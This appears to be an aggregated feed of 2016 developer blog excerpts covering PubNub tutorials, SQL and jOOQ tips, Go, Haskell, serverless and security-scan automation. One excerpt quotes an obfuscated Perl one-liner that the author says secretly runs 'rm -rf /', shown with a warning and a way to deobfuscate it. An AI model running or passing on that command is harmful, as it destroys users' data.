How to build an app that analyzes images and tags them with relevant keywords using Clarifai and PubNub BLOCKS.
15 Nov 2016
We’re working with Microsoft to start running most of our large-scale experiments on Azure.
14 Nov 2016
Today, we’re open-sourcing Redux-Doghouse, a library for Redux that helps you scope components so that they can be reused multiple times in multiple contexts without conflicting with one another.
Nearly three years ago we wrote about the “Missing Middle” in the innovation lifecycle[i], a gap that kept successful pilot programs from reaching the goal of replication and optimization in multiple contexts. Since then, scaling humanitarian innovation has received a great deal of attention from the sector, with a number of new initiatives specifically focused on the scaling challenge.
13 Nov 2016
In the last two years Burp Suite Proxy has become my go to web application security scanner. As with everything recently if I can automate it, I do. So this weekend I built a simple script to scan a website with Burp, create a PDF report and post it to Slack: Here is how I set it up: Create a…
12 Nov 2016
This is the text of my dotGo 2016 presentation. A recording and slide deck are also available. Hello, welcome to dotGo. Two years ago I stood on a stage, not unlike this one, and told you my opinion for how configuration options should be handled in Go. The cornerstone of my presentation was Rob Pike’s blog post, […]
11 Nov 2016
Read receipts signify that a message has been read in a real-time messaging app. This read receipt pattern shows how to build them.
Read receipts signify that a message has been read in a real-time messaging app. This read receipt pattern shows how to build them.
10 Nov 2016
A while ago, I published a post on this blog about how to perform retrospectives for development teams who proscribe to Kanban and/or the agile development process. You can read that post here: Don’t Look Back in Anger I’ve received a lot of feedback on that blog post – enough that I thought I’d follow up […]
At RubyKaigi I caught up with Matz, Koichi, and Aaron Patterson aka Tenderlove to talk about Ruby 3×3 and our path so far to reach that goal. We discussed Koichi’s guild proposal, just-in-time compilation and the future of Ruby performance. Jonan: Welcome everyone. Today we are doing an interview to talk about new features coming […] The post Ruby 3×3:…
9 Nov 2016
I have recently been automating a lot of my technical security tasks and building slack bots around them and it was w3af‘s turn. W3af is an amazing open source web application security scanner that my friend Andres Riancho writes and maintains. The goal of this project was to build scheduled and automated scans of my web properties with pdf reporting…
Looking to add voice to your web application? This tutorial walks you through doing just that using JavaScript and AngularJS.
Looking to add voice to your web application? This tutorial walks you through doing just that using JavaScript and AngularJS.
8 Nov 2016
For several years now, we have been running a developer book club at work. We pick a book relevant to software development, and read a chapter a week. Every other week we meet for 30 to 45 minutes and discuss … Continue reading →
Some of the biggest limitations when working with Oracle PL/SQL from Java is the lack of support for a variety of PL/SQL features through the JDBC interface. This lack of support is actually not limited to JDBC, but also extends to Oracle SQL. For instance, if you’re using the useful PL/SQL BOOLEAN type as such: … Continue reading Use jOOQ…
Ppx is a preprocessing system for OCaml where one maps over the OCaml abstract syntax tree (AST) to interpret some special syntax fragments to generate code.
As the producer behind software conference QCon, C4Media regularly collects feedback from attendees to improve the quality of conference content. They came to Thoughtworks with an exciting challenge: How could they use custom hardware to collect more meaningful feedback in real-time? Our solution: a large number of interactive wearable devices, connected via a self-healing Bluetooth mesh network. Using Bluetooth gave…
7 Nov 2016
For the past few weeks I've been working on Logrole, a Twilio log viewer. If you have to browse through your Twilio logs, I think this is the way that you should do it. We were able to do some things around performance and resource conservation that have been difficult to accomplish with today's popular […]
Interested in Speech Recognition? This tutorial shows you how to add it using JavaScript and AngularJS.
Interested in Speech Recognition? This tutorial shows you how to add it using JavaScript and AngularJS.
Discover the answer to your late payment problems
Update November 2017 # Unfortunately, I'm not maintaining this repo anymore. Still, there are couple of really useful links on it. People are making awesome lists on the Git these days. I'm spamming our company's slack dev channel, and someone suggested to put all of those links in one place. So I created one awesome list as well. Awesome web…
6 Nov 2016
In 2011 I wrote: Travel opens my mind to new perspectives and allows me to recontextualize existing systems of thought. While true for me at that time, for that trip; there is nothing magical about travel itself that opens the mind to new perspectives nor helps to “recontextualize existing systems of thought”. One must be ready and “in the mood”…
For most of the '90s and the beginning of the '00s, I was the CTO of a small training and consulting company. When I started there, the primary platform was Clipper, which was a rapid-application development tool for building DOS applications atop dBASE files. Clipper was object-based; we leveraged an extension library called Class(y) to make it fully object-oriented and…
From Google's physical web project to the emergence of more affordable virtual reality and augmented reality systems, it's time to take a serious look at how the web is changing, and the exciting possibilities for its application outside of screens.
5 Nov 2016
As I have talked about before “You can’t defend what you dont know exists” so today while sitting around and trying to recover from walking pneumonia I wrote slackmap to continually nmap a network and post the differences to slack: Configuration is amazingly easy. I run a copy of this on a $5 a month Digitalocean Droplet for an external…
4 Nov 2016
I am often asked “What is the easiest thing companies can do to secure their networks?” and my answer is always always “Know what is on your network.” While that is simple advice it is a lot harder to implement. One company I was working with was looking at a system to do continuous network monitoring (read: scheduled nmap scans)…
In the previous blog post I introduced our stripe-ctf-2-vm, a self-contained capture the flag puzzle ladder in one vm. In this post, I’d like to talk about how we used the vm to introduce the security mindset to our developers here at Bazaarvoice. One of the tenets in R&D is to responsibly “fail fast, win […]
3 Nov 2016
For fixed integers $ r > 0$, and odd $ g$, a Moore graph is an $ r$-regular graph of girth $ g$ which has the minimum number of vertices $ n$ among all such graphs with the same regularity and girth. (Recall, A the girth of a graph is the length of its shortest cycle, and it’s regular if…
The new Serverless Snyk plugin scans vulnerable open source packages and alerts of potential security risks.
This is the second in a two-part series on the technology behind blockchain. In the first article, we explored how blockchain works and introduced core concepts. In this article, we showcase how we created a blockchain proof-of-concept for a global financial services organization. Angela is an employee at a financial services company. Imagine that her organization needs to know that…
In my three years of being in the tech industry and two years of involvement with Women Who Code, I have come across many women who are either creating or striving to create waves in the technology and science world. Every single woman’s story is interesting, life experiences different, and aspirations and struggles varied.
2 Nov 2016
I’m very happy to have another interesting blog post by Vlad Mihalcea on the jOOQ blog, this time about his Open Source library flexypool. Read his previous jOOQ Tuesdays post on Hibernate here. Vlad is a Hibernate developer advocate and he’s the author of the popular book High Performance Java Persistence, and he knows 1-2 … Continue reading Applying Queueing…
1 Nov 2016
Like a lot of people at Small Improvements I’m fascinated by functional programming. For a while I’ve been thinking about cleaning up a little in our codebase, mainly the backend which is written in Java. I have known for ages that Haskell is really good with abstract syntax trees (ASTs) and was playing with the thought of creating a Haskell…
I’ve recently discovered a rather significant performance issue on a productive Oracle 11g customer database. And I’m sure you have this issue too, which is why I’m documenting it here. This is a simplified representation of the setup at the customer site: ID PAYMENT_DATE TEXT ---------- ------------ ----------------------------------- 33803 21.05.16 DcTNBOrkQIgMtbietUWOsSFNMIqGLlDw... 29505 09.03.16 VIuPaOAQqzCMlFBYPQtvqUSbWYPDndJD... 10738 … Continue reading Why You…
This blog post Data sets are the new server rooms makes the point that a bunch of companies raise a ton of money to go get really proprietary awesome data as a competitive moat. Because once you have the data, you can build a better product, and no one can copy it (at least not very cheaply). Ideally you hit…
phantom underlines. isn't this amaaaaaazing. i love waiting for 8 seconds and seeing this. look at it. srsly. looooookat it. I spent a week traveling around Taiwan, on my awesome free roaming 2G data plan, and friends, we need to talk about your web fonts. Also cats. They really love cats there. Anyway, the thing about 2G is that I…
31 Oct 2016
Creating code coverage reports with Nim is surprisingly easy. You can simply use the good old gcov and lcov tools. Nim can be told to insert its own line information with the --debugger:native command line parameter. Here’s the small example program we’re looking at: var x = 0 if x > 1: echo "foo" echo "bar" Note that if we…
I’m frequently telling developers to put window functions almost everywhere, because they’re so awesome! One feature that I rarely see in the wild (even if it is extremely useful for reporting) is called “logical windowing” in Oracle, and it’s most useful when used with INTERVAL ranges. Let’s see what we may want to do. I … Continue reading A Little…
After the recent Apple keynote, it seems that community is not happy with the new MacBook Pro. Well, I'm not either. As for iPhone/iPad, those are toys, I could use pretty much any other modern smartphone/tablet. But MBP is my working horse, and I was always saying that it doesn't matter how much it costs, I would always get it.…
28 Oct 2016
In a recent blog post, I’ve advocated against the use of COUNT(*) in SQL, when a simple EXISTS() would suffice. This is important stuff. I keep tuning productive queries where a customer runs a COUNT(*) query like so: … where after they discard the exact count to only check for existence: It doesn’t matter if … Continue reading Don’t Even…
27 Oct 2016
Hey you there, did you know that forty percent of all data breaches are due to web application vulnerabilities? That means the very software your team is building is likely to be the vector to getting your data pwnd. Still feeling skeptical? You should google Heartland’s 2008 breach, eBay’s XSS vulnerability, or Time Warner’s password […]
In the book club at work, we recently finished reading Release It! by Michael T. Nygard. It is a book I have been meaning to read for a long time, but somehow I never got around to it until now. … Continue reading →
One of our colleagues, Christian, is participating in a tremendous 6-day-run challenge. Yes, you read that right, he will run around 850km (528 miles) over 6 days. As we like to graph everything, we thought it would be fun to cheer him on remotely and follow his progress in this crazy race via a Datadog dashboard.
I was recently invited to do the keynote at the Commercial Users of Functional Programming workshop, a 15-year-old gathering which is attached to ICFP, the primary academic functional programming conference.
Today we're releasing 1.1.0 of the Serverless Framework
Join the Serverless team in our first edition of Office Hours for a live chat to answer all your questions about the latest release.
26 Oct 2016
This tutorial shows you how to enable text-to-speech in a real-time AngularJS web application with just 70 lines of HTML and JavaScript.
This tutorial shows you how to enable text-to-speech in a real-time AngularJS web application with just 70 lines of HTML and JavaScript.
25 Oct 2016
Pareto efficiency is a useful concept I like to think about. It often comes up when you compare items on multiple dimensions. Say you want to buy a new TV. To simplify it let’s assume you only care about two factors: price and quality. We don’t know what you are willing to pay for quality – but we know that…
Guest author John McKim writes about building a serverless garden monitoring system with the Serverless Framework and AWS Lambda.
What working with People’s Archive of Rural India taught us about online journalism.
24 Oct 2016
How to crack a JWT token: two articles about distributed computing, ZeroMQ & Node.js
Luciano MamminoThis blog post explains how to build a distributed application using Node.js and ZeroMQ that cracks JWT tokens. It provides a step-by-step guide on implementing the application and links to two in-depth articles on RisingStack that cover the theory and coding details.
Just so we’re clear, this post is a thought experiment, not any form of commitment to deliver Go 2.0 in any time frame. While I personally believe there will be a Go 2.0 in the future, I’m in no position to influence its creation; hence, this post is mere speculation. Why introduce a new major version […]
A detailed overview of 4 top notch voice-enabled technology stacks, such as Amazon Echo, Apple Siri, Microsoft Cortana, and Google Now.
A detailed overview of 4 top notch voice-enabled technology stacks, such as Amazon Echo, Apple Siri, Microsoft Cortana, and Google Now.
This is Part 2 of my voter guide. Part 1 covers the 24 San Francisco ballot propositions and city supervisor races. The deadline to register to vote in California is October 24. I highly recommend you sign up. Click here to register to vote. A few notes I cover in more detail in Part 1: […]
SMEs discover innovative ways for lending and repaying money.
Please note that I'm not using Jekyll anymore, so this post might be outdated. Update, November 2017 # I don't use this setup anymore, it might be outdated, proceed with caution. Original post # As I already mentioned, GitHub pages do not work with the Jekyll plugins. It is a security measure. So I researched it a bit, and colleague…
23 Oct 2016
HN comments are terrible. On any topic I’m informed about, the vast majority of comments are pretty clearly wrong. Most of the time, there are zero comments from people who know anything about the topic and the top comment is reasonable sounding but totally incorrect. Additionally, many comments are gratuitously mean. You'll often hear mean comments backed up with something…
21 Oct 2016
Are you working with someone else’s schema and they haven’t declared nice names for all their constraints? Unfortunately, it is all too easy to create a table like this: Or like this: Sure, you get a little convenience when writing the table. But from now on, you’re stuck with weird, system generated names both for … Continue reading How to…
20 Oct 2016
In this post I want to highlight a few fun aspects of the Haskell programming language. The purpose is to give you a taste of Haskell so that you will want to learn more of it. Don’t consider this as a tutorial or guide but rather as a starting point, as it is based on a short talk I held…
These four tutorials show you how to easily build an Android mobile chat application using PubNub and Java.
These four tutorials show you how to easily build an Android mobile chat application using PubNub and Java.
Everyone who writes complex SQL (or dare I say, move business logic into the database?) wishes for parameterised views from time to time. This hypothetical syntax would be terrific: Or as user-defined functions if you insist (as available in SQL Server): As always on this blog, I’m using the useful Sakila database for examples. The … Continue reading Be Careful…
I use DigitalOcean for a majority of my testing and from time to time I need a desktop environment to run some of my tools (like burp). After spending much more time than I want to admit I have it down to these 10 commands to bring a Ubuntu + Mate + XRDP desktop to a Ubuntu Droplet : sudo…
The future of Serverless and more on Service Composition Discovery, & Communication, Security Controls, plus Multi Provider Support
Please note that I'm not using Jekyll anymore, so this post might be outdated. As you probably noticed I redesigned my blog and added some new features. This is a list of the new stuff. New design Category pages Comments Search Reading time Share buttons New design # My friend Nikola, from MIDA digital agency, helped me a lot with…
Increasingly, I see the difficulty organizations have in finding suitable people to take up a Product Owner (PO) role when adopting agile working practices. Even when the role is filled, the tasks of empowering the individual to a suitable level and giving them the knowledge of how to calculate true business value, are rarely accomplished.
Globalization, development of communication technologies and international trade have facilitated smooth communication and collaboration among countries of the world. Alongside are non-government organizations (NGOs) actively involved in solving pressing issues of the day. In fact, in the U.S., the number of NGOs has increased by 31% between 1988 and 20081.
19 Oct 2016
In this two-part series you'll see just how easy it is to build your very own dash cam using a Raspberry Pi, JavaScript, and PubNub.
In this two-part series you'll see just how easy it is to build your very own dash cam using a Raspberry Pi, JavaScript, and PubNub.
18 Oct 2016
Eventually the time will come when your team wants to use React + Redux for their frontend stack. We made that commitment some time ago at Small Improvements – we never had to regret it. As we come from an Angular 1.x frontend application, we needed to decide between React (+ ecosystem) and Angular 2. […]
Welcome to the jOOQ Tuesdays series. In this series, we’ll publish an article on the third Tuesday every other month where we interview someone we find exciting in our industry from a jOOQ perspective. This includes people who work with SQL, Java, Open Source, and a variety of other related topics. I’m very excited to … Continue reading jOOQ Tuesdays:…
Build voice-enabled Android apps using Twitter Fabric, PubNub, and Digits. It covers live dictation, text-to-speech, and much more.
Build voice-enabled Android apps using Twitter Fabric, PubNub, and Digits. It covers live dictation, text-to-speech, and much more.
Indiana based consultancy that specializes in using the latest services around container-based & event-driven architectures
17 Oct 2016
This year Bazaarvoice sponsored CSSConf 2016 in beautiful Boston, MA, USA and I was able to attend! Here are my three top takeaways from CSSConf 2016: Flexy Flexy Flexbox A little over a year ago, our application team wasn’t sure how “stable” Flexbox or its spec were: there was already an old syntax, a new syntax, […]
Earlier this week someone sent me this one line perl script (that you shouldn’t run): perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;; y; -/:-@[-`{-};`-{/" -;;s;;$_;see' Due to some really clever code obfuscation it runs rm -rf /. You can deobfuscate (is that word?) with this: perl -e 's;;=]=>%-{<-|}<&|`{;; y; -/:-@[-`{-};`-{/" -;;print "$_\n"' While trying to figure out how this code code I stumbled upon…
I was on the Responsive Web Design Podcast, co-hosted by Karen McGrane and Ethan Marcotte, with my coworker Zach Schnackel to discuss the new digitalocean.com
16 Oct 2016
There are a lot of “12 CS books every programmer must read” lists floating around out there. That's nonsense. The field is too broad for almost any topic to be required reading for all programmers, and even if a topic is that important, people's learning preferences differ too much for any book on that topic to be the best book…
I think this is useful and the ballot's complicated so I wanted to share how I'm voting this year. I used several sources to compile this guide: The SF Chronicle's endorsements - they follow these issues every day. The ballot book mailed to every voter, especially the text of the law and the main pro/con […]
14 Oct 2016
Guest author Sander van de Graaf writes about building a serverless screenshot service with the Serverless Framework and AWS Lambda.
13 Oct 2016
Powering the real food revolution with IoT, MQTT, and Heroku: an Interview with Freight Farms
HerokuKyle Seaman is Director of Farm Technology for Freight Farms, producer of pre-assembled, IoT-enabled, hydroponic farms inside repurposed freight containers. What is Freight Farms? Our flagship product, The Leafy Green Machine (LGM), is a complete, commercial-ready, hydroponic growing system assembled inside a repurposed shipping container. Each of our 100+ farms is connected to an IoT […] The post Powering the…
Do I wait for the bus, hail a taxi, or call an Uber? This tutorial builds an Android app to answer that question, using JavaScript, Twitter Fabric, and Project EON.
Do I wait for the bus, hail a taxi, or call an Uber? This tutorial builds an Android app to answer that question, using JavaScript, Twitter Fabric, and Project EON.
Last week we hosted over a hundred and fifty AI practitioners in our offices for our first self-organizing conference on machine learning.